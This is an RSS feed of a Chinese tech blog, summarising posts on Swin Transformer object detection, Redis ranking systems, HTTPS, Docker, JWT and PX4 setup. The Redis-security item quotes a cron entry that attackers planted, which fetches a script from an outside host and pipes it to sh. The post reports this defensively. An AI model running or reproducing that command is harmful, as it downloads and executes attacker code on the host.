<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Beyonderwei的博客]]></title><description><![CDATA[后端 前端 NLP 嵌入式]]></description><link>https://blog.csdn.net/CSDN_X_W</link><language>zh-cn</language><generator>https://blog.csdn.net/</generator><copyright><![CDATA[Copyright &copy; CSDN_X_W]]></copyright><item><title><![CDATA[Swin Transformer Object Detection 目标检测、问题汇总]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/123845728</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/123845728</guid><author>CSDN_X_W</author><pubDate>Mon, 25 Apr 2022 14:18:25 +0800</pubDate><description><![CDATA[文章目录一、环境问题1.二、工程问题三、数据集问题1. 只有训练集和验证集怎么办2. VOC转COCO、LabelMe转COCO3. The testing result of the whole datasets is empty
一、环境问题
1.
二、工程问题
三、数据集问题
1. 只有训练集和验证集怎么办
【问题描述】：我只有训练集和测试集或者只有训练集和验证集，该怎么办
【解决办法】：可以直接把验证集和测试集使用同一份文件（工程里面默认也是这么做的），配置的时候数据集路径和文件对应上就可以。
2.]]></description><category></category></item><item><title><![CDATA[Swin Transformer 做主干的 RetinaNet 目标检测网络（mmdetection）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/124138509</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/124138509</guid><author>CSDN_X_W</author><pubDate>Wed, 13 Apr 2022 01:23:28 +0800</pubDate><description><![CDATA[Swin Transformer 做主干的 RetinaNet 目标检测网络（mmdetection）]]></description><category></category></item><item><title><![CDATA[Swin Transformer做主干的 YOLOv3 目标检测网络（mmdetection）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/124137985</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/124137985</guid><author>CSDN_X_W</author><pubDate>Wed, 13 Apr 2022 00:38:11 +0800</pubDate><description><![CDATA[Swin Transformer 做主干的 YOLOv3 目标检测网络（mmdetection）]]></description><category></category></item><item><title><![CDATA[Swin Transformer做主干的 Faster RCNN 目标检测网络（mmdetection）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/123940487</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/123940487</guid><author>CSDN_X_W</author><pubDate>Mon, 11 Apr 2022 22:21:58 +0800</pubDate><description><![CDATA[Swin Transformer做主干的 Faster RCNN 目标检测网络]]></description><category></category></item><item><title><![CDATA[Swin Transformer Object Detection 目标检测-4——数据集标注（LabelImg、LabelMe使用方法）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/123716994</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/123716994</guid><author>CSDN_X_W</author><pubDate>Thu, 24 Mar 2022 17:39:03 +0800</pubDate><description><![CDATA[数据集标注中LabelImg 和 LabelMe的使用方法
Swin Transformer 目标检测-4]]></description><category></category></item><item><title><![CDATA[Swin Transformer Object Detection 目标检测-3——测试训练效果，训练cascade_mask_rcnn_swin]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/123665043</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/123665043</guid><author>CSDN_X_W</author><pubDate>Tue, 22 Mar 2022 16:50:58 +0800</pubDate><description><![CDATA[文章目录一、测试训练效果二、不输出实例分割图三、训练 cascade_mask_rcnn_swin
视频教程完整版：我在B站录的教学视频
&nbsp;
一、测试训练效果


添加一个自己的图片在demo目录下，
执行：python demo/image_demo.py demo/000019.jpg configs\swin\mask_rcnn_swin_tiny_patch4_window7_mstrain_480-800_adamw_3x_coco.py work_dirs/mask_rcnn_swin]]></description><category></category></item><item><title><![CDATA[Swin Transformer Object Detection 目标检测-2——训练自己的数据集]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/123664693</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/123664693</guid><author>CSDN_X_W</author><pubDate>Tue, 22 Mar 2022 16:46:31 +0800</pubDate><description><![CDATA[文章目录一、修改工程二、开始训练
视频教程完整版：我在B站录的教学视频
&nbsp;
一、修改工程


设置类别：修改 configs/base/models/mask_rcnn_swin_fpn.py 中 num_classes 为自己数据集的类别（有两处需要修改）


配置权重信息：修改 configs/base/default_runtime.py 中的 interval，loadfrom



interval：dict(interval=1)  # 表示多少个 epoch 验证一次，然后保存一次权]]></description><category></category></item><item><title><![CDATA[Swin Transformer Object Detection 目标检测-1——环境搭建详细教程]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/123664326</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/123664326</guid><author>CSDN_X_W</author><pubDate>Tue, 22 Mar 2022 16:38:25 +0800</pubDate><description><![CDATA[文章目录一、所需软件（包）介绍二、环境安装0. 版本选择1. VS 2019 安装2. 创建conda 虚拟环境方案一（直接创建）方案二（指定目录创建）3. pytorch 安装4. 安装其他必要的Python包5. 安装mmcv6. 安装mmdetection7. 安装 apex8. 拉取代码9. 测试工程10. 常见问题
视频教程完整版：我在B站录的教学视频
&nbsp;&nbsp;&nbsp;
一、所需软件（包）介绍

VS 2017-2019 ，用里面的一个编译软件去编译文件，用于安装mmcv，因为]]></description><category></category></item><item><title><![CDATA[实现一个投票排名系统（3）——投票流程与数据持久化]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/119488764</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/119488764</guid><author>CSDN_X_W</author><pubDate>Sat, 07 Aug 2021 18:40:51 +0800</pubDate><description><![CDATA[文章目录一、投票流程二、数据的持久化1. 定时持久化2. 定时持久化改变的数据3. 定时 &amp; 定变化量阈值更新数据4. 问题讨论三、总结
一、投票流程
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 之所以我们通过Redis的Sorted Set来保存选手的信息，一方面是因为可以快速的对选手进行排名，还有一点便是为了用于投票功能的实现。
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通常投票（主播排名中就相当于送礼物）是一个被操作非常非常频繁的请]]></description><category></category></item><item><title><![CDATA[实现一个投票排名系统（2）——缓存设计（获取首页数据）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/119301544</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/119301544</guid><author>CSDN_X_W</author><pubDate>Sun, 01 Aug 2021 20:47:06 +0800</pubDate><description><![CDATA[文章目录一、前提条件1. 问题讨论二、缓存设计1. 获取排名2. 获取排行榜首页主播信息3. 问题讨论4. 注意三、总结
一、前提条件
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 假设我们已经有了一个主播表，形式是下面这样：（你可能还会需要其他字段，请自行添加）




id
名字
票数




1
张三
100


2
李四
210



票数： 票数越高排名越高，比如一个大炮是10票，这个礼物需要10块钱，一个飞机100票，需要100块钱这样子。

1. 问题讨论

问题讨]]></description><category></category></item><item><title><![CDATA[实现一个投票排名系统（1）——场景介绍与分析]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/119280573</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/119280573</guid><author>CSDN_X_W</author><pubDate>Sat, 31 Jul 2021 21:07:37 +0800</pubDate><description><![CDATA[文章目录一、序言二、场景分析三、解决方案1. 前端页面资源2.票数经常变化3. 排名要近乎实时更新4. 数据信息持久化四、本节总结
重要说明：
&nbsp;&nbsp;&nbsp;&nbsp;这是一个系列文章，如果你也正在做或打算做这样一个投票排名系统，请耐心看完，相信你一定会有所收获，该系列文章仅是作者觉得还不错的实现方式，可能你在哪些地方会有更好的想法，欢迎在评论区留下你的想法和建议。（主要基于MySQL和Redis实现）
一、序言
&nbsp;&nbsp;&nbsp;&nbsp;无论学习还是做需求，投]]></description><category></category></item><item><title><![CDATA[一文看懂HTTPS]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/116262593</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/116262593</guid><author>CSDN_X_W</author><pubDate>Thu, 29 Apr 2021 17:14:31 +0800</pubDate><description><![CDATA[文章目录一、基础知识二、图解说明1. 密钥2. 证书三、 流程图
一、基础知识

对称加密： 只有一个密钥，可以对数据进行加密，也可以对加密的数据进行解密，加密解密速度快，但是安全性相对较低。
非对称加密： 有一对密钥，私钥加密的数据只能通过公钥来解密，公钥加密的数据只能通过私钥来解密
CA（认证机构）： 与各个操作系统厂商之间协商好了，操作系统如安卓、windows等都在出场时添加了这些CA的公钥（windos在控制面板/网络和Internet/Internet选项/内容/证书/中间证书颁发机构）
Cli]]></description><category></category></item><item><title><![CDATA[WebStorm项目绑定Git远程仓库（码云——gitee）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/109995603</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/109995603</guid><author>CSDN_X_W</author><pubDate>Mon, 23 Nov 2020 15:57:01 +0800</pubDate><description><![CDATA[文章目录一、需求场景二、前提三、Gitee操作四、Webstorm配置流程1. 为当前项目创建本地仓库2. 配置远程仓库五、提交代码到远程仓库
一、需求场景
    为了实现代码的备份和协作，通常本地的项目会同步到远程仓库。而常用的开发工具一般都集成了Git，因此可以直接在IDE内就完成代码的版本控制，免去了命令行的操作。
因此本文介绍如何在Gitee、webStorm中进行相应的配置实现上述需求。Github、IDEA（或其他JetBrains公司的软件）与之基本相同，只是因为国内Github常规访问方式]]></description><category></category></item><item><title><![CDATA[阿里云容器镜像服务（Docker Registry）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/109362511</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/109362511</guid><author>CSDN_X_W</author><pubDate>Thu, 29 Oct 2020 17:24:13 +0800</pubDate><description><![CDATA[文章目录一、 容器镜像服务二、开通容器镜像服务三、配置使用1. 配置Docker官方镜像加速地址2. 镜像托管
一、 容器镜像服务
    说到容器镜像服务，代表作那就是Docker了，和代码版本控制工具Git有代码仓库Github一样，应用容器引擎Docker也有镜像仓库Docker Hub，Docker Hub提供存储和托管镜像的服务。本着 “Build，Ship and Run Any App Anywhere” 的理念，Docker的应用已经非常的广泛。
    和我们访问Github会很慢一样，访]]></description><category></category></item><item><title><![CDATA[.NET Core 通过Docker部署到Ubuntu]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/109334851</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/109334851</guid><author>CSDN_X_W</author><pubDate>Thu, 29 Oct 2020 12:10:01 +0800</pubDate><description><![CDATA[文章目录一、概述二、流程
一、概述
二、流程

]]></description><category></category></item><item><title><![CDATA[Redis被攻击（Redis安全性）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/109238466</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/109238466</guid><author>CSDN_X_W</author><pubDate>Wed, 28 Oct 2020 17:04:38 +0800</pubDate><description><![CDATA[文章目录一、简介二、设置密码
一、简介
    默认Redis没有开启密码，因此需要我们进入后设置。如果没有设置密码就很容易会被攻击到，导致数据丢失，被植入其他内容。被攻击后写入了一些其他内容如下：

查询一下某一个键的内容为如下形式：(不是很懂，应该被植入了一些脚本文件)
"\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"

二、设置密码
常用命令：
config get requirepass       # 查询获]]></description><category></category></item><item><title><![CDATA[通过SpringBoot拦截器和JWT验证实现接口保护]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/108027940</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/108027940</guid><author>CSDN_X_W</author><pubDate>Sat, 15 Aug 2020 22:44:13 +0800</pubDate><description><![CDATA[通过SpringBoot拦截器和JWT验证实现接口保护一、使用场景二、拦截器三、JWT令牌认证四、JWT工具类五、颁发令牌六、请求拦截
一、使用场景
    单体应用的登录验证与接口保护：有时我们并不想希望我们的所有接口都是完全开放的，比如用户登陆后获取个人信息等接口，因此需要对用户进行验证，而验证过程需要在访问接口之前进行，因此可通过拦截器来方便的实现。（更复杂的认证授权可使用Shiro或SpringSecurity）
二、拦截器
    拦截器会在访问接口之前对请求进行拦截，因此可以在拦截器中对接口请求]]></description><category></category></item><item><title><![CDATA[PX4开发环境搭建（Ubuntu1804+QGC+Qt Creator ）]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/105142281</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/105142281</guid><author>CSDN_X_W</author><pubDate>Wed, 29 Apr 2020 15:04:29 +0800</pubDate><description><![CDATA[文章目录前言一、安装环境二、PX4环境搭建1. 在虚拟机中安装Ubuntu2. 安装PX4环境(1)下载PX4源码：(2) 安装工具链(3)  jMAVSim仿真(4) 编译验证三、安装QGC四、安装Qt Creator
前言
在这之前作者完全没接触过PX4，安装过程遇到了很多坑，而且每安装下载一个东西都要等好久，出现问题又要重新开始，前后折腾了四天才弄好，希望此文对大家有所帮助。
一、安装环境
...]]></description><category></category></item><item><title><![CDATA[Ubuntu上使用Qt Creator编译、下载PX4代码]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/105773221</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/105773221</guid><author>CSDN_X_W</author><pubDate>Sun, 26 Apr 2020 18:11:36 +0800</pubDate><description><![CDATA[文章目录一、创建工程文件二、Qt 加载工程文件三、工程的配置四、编译工程五、下载程序六、连接QGC验证
一、创建工程文件
在命令行执行以下几条命令：
cd ~/src/Firmware
mkdir ../Firmware-build
cd ../Firmware-build
cmake ../Firmware -G "CodeBlocks - Unix Makefiles" -DCONFIG=nu...]]></description><category></category></item><item><title><![CDATA[PX4开发基础]]></title><link>https://blog.csdn.net/CSDN_X_W/article/details/105128440</link><guid>https://blog.csdn.net/CSDN_X_W/article/details/105128440</guid><author>CSDN_X_W</author><pubDate>Thu, 26 Mar 2020 22:18:21 +0800</pubDate><description><![CDATA[文章目录一、与无人机的缘分二、开发前三、背景知识硬件PIXHAWKpixhawkV1：pixhawkV2：pixhawkV3x：软件代码ArduPilotPX4（推荐）地面站（GCS）Mission Planner（MP）QGroundControl（QGC）四、我的开发环境
一、与无人机的缘分
    做无人机是源于电赛，因为对无人机比较发烧就分到了无人机的组里，参加的三次电赛两次是做的无人机的...]]></description><category></category></item></channel></rss>